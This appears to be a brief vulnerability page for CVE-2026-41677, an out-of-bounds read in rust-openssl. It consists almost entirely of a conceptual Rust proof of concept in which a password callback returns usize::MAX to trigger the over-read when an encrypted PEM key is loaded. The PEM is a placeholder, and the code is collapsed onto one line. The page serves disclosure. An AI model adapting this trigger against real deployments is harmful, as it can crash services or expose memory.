CVE-2026-41677 rust-openssl缓冲区越界读取漏洞

// Conceptual PoC for CVE-2026-41677 // Demonstrates a callback returning a length larger than the buffer provided to OpenSSL. use openssl::pkey::PKey; use openssl::error::ErrorStack; // Malicious callback that returns a size larger than the buffer fn malicious_password_callback(_buf: &mut [u8]) -> Result<usize, ErrorStack> { // Returning a large size to trigger the out-of-bounds read in OpenSSL < 3.0 Ok(usize::MAX) } fn main() { // Example: Trying to load an encrypted PEM using the vulnerable callback // Note: This requires an actual encrypted PEM block to trigger the callback invocation let fake_pem = b"-----BEGIN ENCRYPTED PRIVATE KEY----- ... -----END ENCRYPTED PRIVATE KEY-----"; // The vulnerable API 'private_key_from_pem_callback' does not validate the return length match PKey::private_key_from_pem_callback(fake_pem, malicious_password_callback) { Ok(_key) => println!("Key loaded (unexpected)"), Err(e) => println!("Error occurred (likely crash or read error): {}", e), } }